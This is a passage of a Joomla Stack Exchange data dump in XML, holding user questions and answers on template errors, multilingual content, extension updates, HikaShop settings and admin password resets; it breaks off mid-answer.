  <row Id="18709" PostTypeId="2" ParentId="18708" CreationDate="2016-12-27T22:59:02.513" Score="1" Body="&lt;p&gt;Nevermind, I figured it out.  The fields ARE actually displaying, but Joomla's JQuery auto hides them with css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.js-stools-container-filters {&#xA;    display: none;&#xA;    margin: 10px 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, it turns out it's required to have a &quot;search&quot; field in order for the submit and clear buttons to show up.&lt;/p&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="2082" LastEditDate="2016-12-28T01:49:09.050" LastActivityDate="2016-12-28T01:49:09.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18711" PostTypeId="1" CreationDate="2016-12-28T07:21:55.573" Score="0" ViewCount="68" Body="&lt;p&gt;I have created English and Spanish language file for my Joomla component but when I trying to change Joomla default language then my Spanish language file not working or not overwrite . Please give me an suggestion, How I can fix this?&lt;/p&gt;&#xA;" OwnerUserId="9084" LastEditorUserId="126" LastEditDate="2017-07-03T13:05:49.623" LastActivityDate="2017-07-03T13:05:49.623" Title="Spanish language of my custom component is not working" Tags="|custom-component|language|translation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18713" PostTypeId="1" CreationDate="2016-12-28T14:21:10.587" Score="3" ViewCount="129" Body="&lt;p&gt;I am new to Joomla. I want to create a multi-language website using Joomla CMS. &#xA;I followed the instructions at &lt;a href=&quot;https://www.templatemonster.com/help/joomla-3-x-configuration-multilanguage-site.html#gref&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.templatemonster.com/help/joomla-3-x-configuration-multilanguage-site.html#gref&lt;/a&gt; and I succeeded in making a multilingual website, but now I want to modify the Joomla &lt;code&gt;back-end&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i know it, the Joomla back-end needs multiple articles for each language; By that I mean, if we have a page &quot;about-us&quot; for 3 languages then we need to create 3 articles- one article for each language. Am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to manage all 3 language contents in a single article. That means for the about-us page I'd like to have a single article and all 3 language contents will be manage on this single page and on the frontend the content will be shown according to the selected language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="9476" LastEditorUserId="115" LastEditDate="2017-10-06T13:55:30.753" LastActivityDate="2018-07-03T18:41:32.180" Title="Change multi-language admin panel setup" Tags="|joomla-3.x|articles|custom-component|language|multilingual|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18714" PostTypeId="2" ParentId="18713" CreationDate="2016-12-28T17:27:40.200" Score="0" Body="&lt;p&gt;As per my experience, to each article you define one language or &quot;all languages&quot;. In the frontend you will see the article only if the language is accordingly. Eg. frontend selected language is &quot;English&quot;, article defined language is &quot;all languages&quot;, but written in German and French and English: the article will be shown completely as far as you not use the plugin refeered to in the comment below. I suppose if you put each part of your article between {lang en} and {/lang} than it should work as you wish. But I do not know for which languages this plugin works.&lt;/p&gt;&#xA;" OwnerUserId="9477" LastEditorUserId="9477" LastEditDate="2016-12-28T18:03:20.147" LastActivityDate="2016-12-28T18:03:20.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18715" PostTypeId="1" CreationDate="2016-12-28T17:39:46.443" Score="0" ViewCount="874" Body="&lt;p&gt;On December 8, I first received this error on a site I manage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[08-Dec-2016 13:38:28 America/Detroit] PHP Fatal error:  Call to a member function get() on a non-object in /path/to/site/templates/theme/html/com_k2/templates/product/category.php on line 45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the contents of that file around line 45:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Start K2 Category Layout --&amp;gt;&#xA;&amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;k2Container&quot; class=&quot;span9 productView &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('pageclass_sfx')) echo ' '.$this-&amp;gt;params-&amp;gt;get('pageclass_sfx'); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('show_page_title')): ?&amp;gt;&#xA;    &amp;lt;!-- Page title --&amp;gt;&#xA;    &amp;lt;div class=&quot;componentheading&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('pageclass_sfx')?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_title')); ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php if(isset($this-&amp;gt;category) || ( $this-&amp;gt;params-&amp;gt;get('subCategories') &amp;amp;&amp;amp; isset($this-&amp;gt;subCategories) &amp;amp;&amp;amp; count($this-&amp;gt;subCategories) )): ?&amp;gt;&#xA;    &amp;lt;!-- Blocks for current category and subcategories --&amp;gt;&#xA;    &amp;lt;?php foreach($this-&amp;gt;secondary as $key =&amp;gt; &amp;amp;$item) ?&amp;gt;&#xA;    &amp;lt;div class=&quot;item_header&quot;&amp;gt;&#xA;        &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('catTitle')): ?&amp;gt;&#xA;        &amp;lt;!-- Category title --&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php echo $this-&amp;gt;category-&amp;gt;name; ?&amp;gt;&amp;lt;!-- &amp;lt;span&amp;gt;(&amp;lt;?php echo $item-&amp;gt;params-&amp;gt;get('page_title'); ?&amp;gt; Collection)&amp;lt;/span&amp;gt;--&amp;gt;&#xA;            &amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('catTitleItemCounter')) echo ' ('.$this-&amp;gt;pagination-&amp;gt;total.')'; ?&amp;gt;&#xA;        &amp;lt;/h1&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 45 is the &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only received this error 5 other times and the last was on December 17. What could be causing this issue? The only thing I can think of that changed is the Joomla! 3.6.5 update!&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-12-28T17:39:46.443" Title="&quot;PHP Fatal error: Call to a member function get() on a non-object&quot; in K2 Template" Tags="|joomla-3.x|php|k2|joomla-3.6|fatal-error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18716" PostTypeId="1" AcceptedAnswerId="18971" CreationDate="2016-12-28T17:57:46.523" Score="2" ViewCount="173" Body="&lt;p&gt;Every so often, I get this error in one of the sites I manage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[16-Dec-2016 17:08:20 America/Detroit] PHP Warning:  require_once(/path/to/site/modules/mod_k2_toolsDShelper.php): failed to open stream: No such file or directory in /path/to/site/modules/mod_k2_tools/mod_k2_tools.php on line 19&#xA;[16-Dec-2016 17:08:20 America/Detroit] PHP Fatal error:  require_once(): Failed opening required '/path/to/site/modules/mod_k2_toolsDShelper.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /path/to/site/modules/mod_k2_tools/mod_k2_tools.php on line 19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error first occurred on September 29 and has occurred many more times in the &lt;code&gt;error_log&lt;/code&gt; since. Here is line 19 of &lt;code&gt;mod_k2_tools.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once (dirname(__FILE__).DS.'helper.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;/path/to/site/modules/mod_k2_toolsDShelper.php&lt;/code&gt; DOES NOT exist on the server, I'm guessing the actual path should be &lt;code&gt;/path/to/site/modules/mod_k2_tools/helper.php&lt;/code&gt; since that file DOES exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be the correct reference to this file?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: I will pass this info on to the &lt;a href=&quot;http://www.joomlaworks.net/extensions/free/k2&quot; rel=&quot;nofollow noreferrer&quot;&gt;JoomlaWorks&lt;/a&gt; team in a bug report if needed.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2017-01-27T15:25:30.510" Title="Fatal error in K2 Tools Module" Tags="|joomla-3.x|php|k2|joomla-3.6|fatal-error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18717" PostTypeId="2" ParentId="14184" CreationDate="2016-12-29T01:16:15.080" Score="0" Body="&lt;p&gt;You could've also gone in the cpanel and to your database, find your user account to super admin and change the password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.-&#xA;Login to your cpanel, PhpMyAdmin, (with the user and pass your used when you created the database to install Joomla)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.-&#xA;Select your database in PhpMyAdmin&#xA;Select the prefixofyourtable_users table.&#xA;Click &quot;Browse&quot; and select &quot;Edit&quot; (the small pen icon) on the user whose password you wish to reset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.-&#xA;You will now see all user data in a form. Under the &quot;password&quot; field, you will see a long list of encrypted letters. Delete these letters, and type in a new password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.-&#xA;BEFORE saving, remember to select &quot;MD5&quot; in the &quot;function&quot; dropdown list.&#xA;Save your new password and log into the backend of your Joomla site. Remember to reset the password again from the back-end, as the MD5 encryption is much more secure this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restoring your database worked too, but if you had any new articles that weren't there when you got the backup of your database then you lost them.&lt;/p&gt;&#xA;" OwnerUserId="9480" LastEditorUserId="12352" LastEditDate="2019-08-17T12:52:35.343" LastActivityDate="2019-08-17T12:52:35.343" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18718" PostTypeId="1" CreationDate="2016-12-29T09:20:16.860" Score="1" ViewCount="84" Body="&lt;p&gt;I have been using JCE for a while but after installing Community Builder I can no longer edit text. The edit box appears but it is empty and the on/off switch doesn't make any difference. For now I use TinyMCE editor which works OK. &#xA;Joomla 3.6.5&#xA;JCE edit 2.6.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wjvjq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjvjq.png&quot; alt=&quot;image of JCE editor problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9481" LastEditorUserId="115" LastEditDate="2016-12-29T11:49:16.177" LastActivityDate="2016-12-29T11:49:16.177" Title="Can't edit text with JCE edito after installing community builder" Tags="|joomla-3.6|jce|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18720" PostTypeId="2" ParentId="14614" CreationDate="2016-12-29T16:36:14.737" Score="2" Body="&lt;p&gt;To get Menu Params&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is perfect I was searching few hrs and this solve my issue of Joomla 3.6.5 &amp;amp; PHP 7.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;0: Using $this when not in object context&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;$itemId = $active-&amp;gt;id;&#xA;$menuparams         = $menu-&amp;gt;getParams($itemId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9076" LastActivityDate="2016-12-29T16:36:14.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18721" PostTypeId="1" AcceptedAnswerId="18730" CreationDate="2016-12-29T17:22:14.143" Score="1" ViewCount="30" Body="&lt;p&gt;when someone purchase an order in my website,price numbers in total price part after purchase will be mixed for example :&#xA; total price is 10000 will changed to 00010&#xA;i am using Persian font in my website but my only problem is with total prices.&#xA;i am using Hikashop for my online shop in joomla 3.6.2&#xA;can anyone help me plzzzzzz.&lt;/p&gt;&#xA;" OwnerUserId="9487" LastActivityDate="2016-12-30T13:35:15.250" Title="mixing numbers in hikashop's total price" Tags="|joomla-3.6|hikashop|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18722" PostTypeId="2" ParentId="18713" CreationDate="2016-12-29T17:42:38.440" Score="1" Body="&lt;p&gt;If your content is different language then you need 3 Articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;Say your 3 Language is English, French and German&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) About Us =&gt; Make one for English Language and put English content &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) About Us =&gt; Make one for French Language and put French content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) About Us =&gt; Make one for Germany Language and put German content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to make 3 menus for 3 Language then Joomla will detect auto as language selection the content and menu. Make sure you properly configure multi-language plugin and menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9076" LastActivityDate="2016-12-29T17:42:38.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18723" PostTypeId="2" ParentId="18707" CreationDate="2016-12-29T18:15:48.727" Score="1" Body="&lt;p&gt;The problem is you are not returning to the edit page in your controller. The way Controllers work is you send them data from your view, they manipulate the date, then after manipulation you are redirected back to where you were (usually with a message of some kind).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the submit method of your controller add this statement in your IF/ELSE clause.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If (Isset($_POST['showresaults']))&#xA;    //ALL THE STUFF YOU HAVE IN YOUR IF CLAUSE&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('This is a Success Message.','success');&#xA;}else{&#xA;    //ALL THE STUFF IN YOUR ELSE STATEMENT&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('This is the error message.','error');&#xA;}&#xA;&#xA;//ADD THIS AFTER YOUR ELSE STATEMENT TO REDIRECT YOU BACK TO THE EDIT FORM&#xA;$this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_mycomponent&amp;amp;view=YOURVIEWNAME&amp;amp;layout=edit&amp;amp;id='.$this-&amp;gt;data-&amp;gt;id, true));&#xA;&#xA;//MODIFY THE JROUTE LINK ABOVE TO SUIT YOUR NEEDS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also look into using newer standards link the JInput method for getting your data instead of the older JRequest::getVar methods.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-12-29T18:15:48.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18724" PostTypeId="2" ParentId="18690" CreationDate="2016-12-29T18:19:55.830" Score="1" Body="&lt;p&gt;To verify what version you are running create a new php file named phpinfo.php and include the following line of code in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upload it to your server then to to yourdomain.com/phpinfo.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will show you definitively what version you are running.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-12-29T18:19:55.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18725" PostTypeId="1" CreationDate="2016-12-29T19:54:48.147" Score="2" ViewCount="260" Body="&lt;p&gt;I have to move and update a very old Joomla-1.5 website. Since I moved it, the frontend login doesn't work anymore but the backend login does. When I try to log in, the page is just reloading. It doesn't matter if I use wrong or right login data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the database, I get entries in the session table but they do not contain any information about the user. So it doesn't seem to be a session issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New site: &lt;a href=&quot;http://cig-online.de/intranet/joomla/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cig-online.de/intranet/joomla/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old site: &lt;a href=&quot;http://christen-im-gesundheitswesen.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://christen-im-gesundheitswesen.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea where I can look next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9488" LastActivityDate="2017-07-20T09:56:51.390" Title="Frontend login doesn't work after website move" Tags="|joomla-1.5|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18726" PostTypeId="1" AcceptedAnswerId="18750" CreationDate="2016-12-30T09:39:49.120" Score="2" ViewCount="86" Body="&lt;p&gt;I am using &lt;strong&gt;Joomla 3.6.5&lt;/strong&gt;. On my site I allow registered Authors to &lt;strong&gt;add articles&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;Version Note&quot;&lt;/strong&gt; is one of the fields but it is optional. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make it mandatory. I have enabled versioning for articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this field mandatory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="9492" LastEditDate="2016-12-31T07:49:50.830" LastActivityDate="2017-01-13T06:31:20.980" Title="Make &quot;Version Note&quot; mandatory in frontend form" Tags="|articles|front-end|component-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18727" PostTypeId="1" CreationDate="2016-12-30T10:55:52.087" Score="3" ViewCount="283" Body="&lt;p&gt;I made my first plugin and want to setup an update site as well. My joomla does not find the update (after pressing clean cache of course). The update server is found and it load my xml. My manifest file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;...&#xA;    &amp;lt;!-- UPDATESERVER DEFINITION --&amp;gt;&#xA;    &amp;lt;updateservers&amp;gt;&#xA;        &amp;lt;!-- Note: No spaces or linebreaks allowed between the server tags --&amp;gt;&#xA;        &amp;lt;server type=&quot;extension&quot; priority=&quot;2&quot; name=&quot;ddVmSubs&quot;&amp;gt;http://danidek.hu/files/ddVmSubs-update.xml&amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The update xml file (ddVmSubs-update.xml):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;      &amp;lt;name&amp;gt;ddVmSubs&amp;lt;/name&amp;gt;&#xA;      &amp;lt;description&amp;gt;Subscription plugin of Danidek for Virtuemart. &amp;lt;/description&amp;gt;&#xA;      &amp;lt;element&amp;gt;ddVmSubs&amp;lt;/element&amp;gt;&#xA;      &amp;lt;type&amp;gt;plugin&amp;lt;/type&amp;gt;&#xA;      &amp;lt;folder&amp;gt;content&amp;lt;/folder&amp;gt;&#xA;      &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;      &amp;lt;client_id&amp;gt;0&amp;lt;/client_id&amp;gt;&#xA;      &amp;lt;version&amp;gt;1.0.5&amp;lt;/version&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;         &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;My download link. I removed it because I can't post more than 2 links..&amp;lt;/downloadurl&amp;gt;&#xA;      &amp;lt;/downloads&amp;gt;&#xA;      &amp;lt;tags&amp;gt;&amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&amp;lt;/tags&amp;gt;&#xA;      &amp;lt;maintainer&amp;gt;Danidek Inc.&amp;lt;/maintainer&amp;gt;&#xA;      &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3&quot; /&amp;gt;&#xA;   &amp;lt;/update&amp;gt;  &#xA; &amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find out what is the problem.&lt;/p&gt;&#xA;" OwnerUserId="9490" LastEditorUserId="168" LastEditDate="2016-12-30T11:35:57.897" LastActivityDate="2020-03-12T22:46:53.650" Title="Joomla does not find my plugin update" Tags="|plugin|update|" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="18730" PostTypeId="2" ParentId="18721" CreationDate="2016-12-30T13:35:15.250" Score="1" Body="&lt;p&gt;Edit your currency via the menu System&gt;Currencies and remove the space in the &quot;Groups separation&quot; setting there.&#xA;That will prevent your prices groups of digits from switching positions when your language is RTL like with Persian.&lt;/p&gt;&#xA;" OwnerUserId="9491" LastActivityDate="2016-12-30T13:35:15.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18731" PostTypeId="2" ParentId="9822" CreationDate="2016-12-30T13:39:56.953" Score="2" Body="&lt;p&gt;Note that with recent versions of HikaShop, you can go in the menu Customers&gt;Emails history in order to look at all the emails that have been sent by HikaShop.&#xA;So even if the order was deleted and you don't have a backup, it might be possible to find the notification emails relative to this order with all the information of the order.&lt;/p&gt;&#xA;" OwnerUserId="9491" LastActivityDate="2016-12-30T13:39:56.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18733" PostTypeId="2" ParentId="15183" CreationDate="2016-12-30T13:42:57.253" Score="1" Body="&lt;p&gt;In your HikaShop Filter module settings, that you can find when you edit the module via the Joomla modules manager, you can turn on the &quot;force redirect&quot; setting.&lt;br/&gt;&#xA;Then, when the customer uses the filters in the module, instead of staying on the current listing of products and filter these products, it will redirect the search to the products listing menu item for which you entered the id in the &quot;menu&quot; setting of the filter module.&lt;/p&gt;&#xA;" OwnerUserId="9491" LastActivityDate="2016-12-30T13:42:57.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18734" PostTypeId="2" ParentId="17761" CreationDate="2016-12-30T15:15:51.083" Score="2" Body="&lt;p&gt;For others that may reach here with similar issue for recent Joomla updates (e.g. 3.6.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case you get this error message, it usually means what it says: That the update package that was transferred to your Joomla instance's tmp folder is indeed corrupted. A corrupted file may occur for various reasons - no need to analyze this here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this happens, any new effort to initiate the update procedure through the &lt;strong&gt;Joomla Update Component&lt;/strong&gt; will end with the same result - as Joomla will keep finding the corrupted zip file in the &lt;strong&gt;&lt;code&gt;tmp&lt;/code&gt;&lt;/strong&gt; folder and will try to use this for the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the solution here is to connect with &lt;strong&gt;FTP&lt;/strong&gt; to your site and go into the &lt;strong&gt;&lt;code&gt;tmp&lt;/code&gt;&lt;/strong&gt; folder of your Joomla and &lt;strong&gt;delete the previous downloaded update package&lt;/strong&gt;. This will force the &lt;strong&gt;Joomla Update Component&lt;/strong&gt; to fetch and download a new zip archive for updating your Joomla site - hopefully this time the archive will be transferred at full and with no corruption.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-12-30T15:15:51.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18735" PostTypeId="2" ParentId="18727" CreationDate="2016-12-30T15:49:23.547" Score="1" Body="&lt;p&gt;Solved! I've changed the plugin file name and element name to lowercase. It started to work.&lt;/p&gt;&#xA;" OwnerUserId="9490" LastActivityDate="2016-12-30T15:49:23.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18737" PostTypeId="2" ParentId="17854" CreationDate="2016-12-30T16:06:38.090" Score="2" Body="&lt;p&gt;The Joomla! CMS is not a mass mailing utility and should not be used as such. Though there is a &lt;a href=&quot;https://docs.joomla.org/Help36:Users_Mass_Mail_Users&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mass Mail component&lt;/a&gt; in the Joomla! core, Arvind Chauhan of &lt;a href=&quot;https://www.joomlart.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JoomlaArt&lt;/a&gt; points out that &quot;&lt;a href=&quot;https://www.joomlart.com/tutorials/joomla-tutorials/joomla-mass-mail-feature-explained&quot; rel=&quot;nofollow noreferrer&quot;&gt;It’s not ethical [or legal] to send promotional emails to users who have not opted-in to receive them.&lt;/a&gt;&quot; The Mass Mail component does not have this &lt;em&gt;opt-in&lt;/em&gt; feature.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;ACYmailing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://joomla.stackexchange.com/users/174/anibal&quot;&gt;@Anibal&lt;/a&gt; &lt;a href=&quot;https://joomla.stackexchange.com/a/17855/5638&quot;&gt;mentions&lt;/a&gt;, &lt;a href=&quot;https://www.acyba.com/acymailing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ACYmailing&lt;/a&gt; is the most common and integrated solution for Joomla! for doing such. And, even though it is specific to Joomla!, it rivals the best 3rd party eNewsletter platforms available.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;3rd Party Email Marketing Platforms&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a more universal approach and one that will work regardless of whether your on Joomla! or not, you can choose any number of &lt;a href=&quot;https://www.google.com/search?q=email%20marketing%20services&quot; rel=&quot;nofollow noreferrer&quot;&gt;email marketing services&lt;/a&gt;. Since you are a non-profit looking to pinch every penny, there are several services that offer free non-profit accounts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.benchmarkemail.com/we-care-about-kids/sign-up&quot; rel=&quot;nofollow noreferrer&quot;&gt;Benchmark&lt;/a&gt; - 100,000 child-focused emails per month&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.verticalresponse.com/pricing/non-profit/application&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vertical Response&lt;/a&gt; - 10,000 emails per month or 15% off&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.campaigner.com/free-for-non-profits/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Campaigner&lt;/a&gt; - &lt;a href=&quot;http://www.campaigner.com/about/contact/&quot; rel=&quot;nofollow noreferrer&quot;&gt;contact&lt;/a&gt; for terms&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Email Hosting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you already have a method for newsletter opt-in handling and simply need a beefy SMTP server for sending the emails, these services are free to non-profits:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com/nonprofits/products/apps-for-nonprofits.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Apps&lt;/a&gt; (G-Suite)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/philanthropies/product-donations/products/office365nonprofit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Office 365&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techsoup.org/amazon-web-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amazon SES&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mailtrap.io/pricing&quot; rel=&quot;nofollow noreferrer&quot;&gt;MailTrap&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Please, confirm your intensions for using their services meet their terms of use prior to sending.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;In-House Email Marketing Platform&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you already have a method for newsletter opt-in handling and you believe your current SMTP server is sufficient to handle the emailing duties, won't get your hosting account closed, won't get the server blacklisted, or won't cause messages to be flagged as SPAM, but you need a beefier app to handle the creation and management of your email marketing campaigns, try &lt;a href=&quot;http://www.glocksoft.com/easymail/&quot; rel=&quot;nofollow noreferrer&quot;&gt;G-Lock EasyMail7&lt;/a&gt;. It is &lt;a 